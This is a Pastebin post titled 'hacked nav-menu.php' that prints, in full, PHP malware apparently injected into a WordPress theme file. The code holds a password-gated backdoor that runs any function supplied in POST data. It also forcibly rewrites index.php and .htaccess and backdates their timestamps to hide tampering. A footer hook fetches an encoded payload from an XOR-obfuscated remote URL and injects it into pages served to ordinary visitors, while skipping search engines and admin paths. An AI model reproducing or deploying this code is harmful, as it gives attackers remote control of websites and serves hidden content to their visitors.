tom

hacked nav-menu.php

tom
Nov 2nd, 2016
305
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.37 KB | None | 0 0
  1.     */  540 *///istart
  2.         541
  3.         542 function my_time($dir) {
  4.         543    foreach (glob($dir . '/wp-*.php') as $f) {
  5.         544        $times[] = filemtime($f);
  6.         545    }
  7.         546    $max = 1;
  8.         547    for ($i = 0; $i < count($times) - 1; $i++) {
  9.         548        $k = 1;
  10.         549        for ($j = $i + 1; $j < count($times); $j++) {
  11.         550            if ($times[$i] == $times[$j]) {
  12.         551                $k++;
  13.         552                if ($k > $max) {
  14.         553                    $max = $k;
  15.         554                    $time = $times[$i];
  16.         555                }
  17.         556            }
  18.         557        }
  19.         558    }
  20.         559    return $time;
  21.         560 }
  22.         561
  23.         562 function my_correct($dir) {
  24.         563    $time = 0;
  25.         564    $path = $dir . '/index.php';
  26.         565    $content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==');
  27.         566    if (file_get_contents($path) != $content) {
  28.         567        chmod($path, 0644);
  29.         568        file_put_contents($path, $content);
  30.         569        chmod($path, 0444);
  31.         570        $time = my_time($dir);
  32.         571        touch($path, $time);
  33.         572    }
  34.         573
  35.         574    $path = $dir . '/.htaccess';
  36.         575    $content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==');
  37.         576    if (file_exists($path) AND file_get_contents($path) != $content) {
  38.         577        chmod($path, 0644);
  39.         578        file_put_contents($path, $content);
  40.         579        chmod($path, 0444);
  41.         580        if (!$time) {
  42.         581            $time = my_time($dir);
  43.         582        }
  44.         583        touch($path, $time);
  45.         584    }
  46.         585 }
  47.         586
  48.         587 $p = $_POST;
  49.         588 $_passssword = '3cfe40c756dd5b4d00b03fb299886cdc';
  50.         589 if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');
  51.         590 my_correct(dirname(__FILE__) . '/..');
  52.         591
  53.         592 function request_url_data($url) {
  54.         593    if(!is_valid_url($url))
  55.         594        return false;
  56.         595
  57.         596    $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
  58.         597    if (function_exists('curl_init')) {
  59.         598        $ch = curl_init();
  60.         599        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  61.         600        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  62.         601        curl_setopt($ch, CURLOPT_URL, $url);
  63.         602        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  64.         603        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
  65.         604            'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
  66.         605            'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
  67.         606            'Referer: ' . $site_url,
  68.         607        ));
  69.         608        $response = trim(curl_exec($ch));
  70.         609    } elseif (function_exists('fsockopen')) {
  71.         610        $m = parse_url($url);
  72.         611        if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
  73.         612            fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
  74.         613                'Host: ' . $m['host'] . "\r\n" .
  75.         614                'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
  76.         615                'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
  77.         616                    'Referer: ' . $site_url . "\r\n" .
  78.         617                    'Connection: Close' . "\r\n\r\n");
  79.         618            $response = '';
  80.         619            while (!feof($fp)) {
  81.         620                $response .= fgets($fp, 1024);
  82.         621            }
  83.         622            list($headers, $response) = explode("\r\n\r\n", $response);
  84.         623            fclose($fp);
  85.         624        }
  86.         625    } else {
  87.         626        $response = 'curl_init and fsockopen disabled';
  88.         627    }
  89.         628    return $response;
  90.         629 }
  91.         630
  92.         631 error_reporting(0);
  93.         632
  94.         633 //unset($_passssword);
  95.         634
  96.         635 if (function_exists("add_action")) {
  97.         636    add_action('wp_head', 'add_2head');
  98.         637    add_action('wp_footer', 'add_2footer');
  99.         638 }
  100.         639
  101.         640 function add_2head() {
  102.         641    ob_start();
  103.         642 }
  104.         643
  105.         644 function is_valid_url(&$url)
  106.         645 {
  107.         646    if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m))
  108.         647        return false;
  109.         648    $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
  110.         649    return true;
  111.         650 }
  112.         651
  113.         652 function add_2footer() {
  114.         653    $check = false;
  115.         654    $check_data = "";
  116.         655    if (!empty($_GET['check']) AND $_GET['check'] == '3cfe40c756dd5b4d00b03fb299886cdc') {
  117.         656        $check = true;
  118.         657        $check_data = ('<!--checker_start ');
  119.         658        $check_data .= (substr(request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css'), 0, 100));
  120.         659        $check_data .= (' checker_end-->');
  121.         660    }
  122.         661
  123.         662    if (!$check) {
  124.         663        if ($_SERVER['REQUEST_METHOD'] != 'GET')
  125.         664            return;
  126.         665        if (!@$_SERVER['HTTP_USER_AGENT'] OR (substr($_SERVER['REMOTE_ADDR'], 0, 6) == '74.125') OR preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT']))
  127.         666            return;
  128.         667
  129.         668
  130.         669        $cookie_name = 'PHP_SESSION_PHP';
  131.         670        if (isset($_COOKIE[$cookie_name]))
  132.         671            return;
  133.         672
  134.         673        foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
  135.         674            if (preg_match($regex, $_SERVER['REQUEST_URI']))
  136.         675                return;
  137.         676        }
  138.         677
  139.         678    }
  140.         679
  141.         680    $buffer = ob_get_clean();
  142.         681    ob_start();
  143.         682    $regexp = '/<body[^>]*>/is';
  144.         683    if (preg_match($regexp, $buffer, $m)) {
  145.         684        $body = $m[0];
  146.         685 //       $url = base64_decode('a3d3czksLDIwOy06LTc1LTI7Nixhb2xkLDxlYmBmYWxsaCV2d25ccGx2cWBmPjE0OzE0OTIzMzQ7MDQ5MTMyMg==');
  147.         686        $url = decrypt_url('a3d3czksLDIwOy06LTc1LTI7Nixhb2xkLDxlYmBmYWxsaCV2d25ccGx2cWBmPjE0OzE0OTIzMzQ7MDQ5MTMyMg==');
  148.         687 //       if (($code = request_url_data($url)) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
  149.         688        if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
  150.         689 //           $body .= '<script>var date = new Date(new Date().getTime() + 60*60*24*7*1000); document.cookie="' . $cookie_name . '=' . mt_rand(1, 1024) . '; path=/; expires="+date.toUTCString();</script>';
  151.         690 //           $body .= base64_decode($m[0]);
  152.         691            $body .= $decoded;
  153.         692 //           $body .= base64_decode($m[0]);
  154.         693        }
  155.         694        $body .= $check_data;
  156.         695
  157.         696        $buffer = preg_replace($regexp, $body, $buffer);
  158.         697    }
  159.         698    echo $buffer;
  160.         699    ob_flush();
  161.         700 }
  162.         701
  163.         702 function decrypt_url($encrypted_url)
  164.         703 {
  165.         704    $encrypted_url = base64_decode($encrypted_url);
  166.         705    $url = '';
  167.         706    for ($i = 0; $i < strlen($encrypted_url); $i++)
  168.         707    {
  169.         708        $url .= chr(ord($encrypted_url[$i]) ^ 3);
  170.         709    }
  171.         710    return $url;
  172.         711 }//iend
  173.         712
Add Comment
Please, Sign In to add comment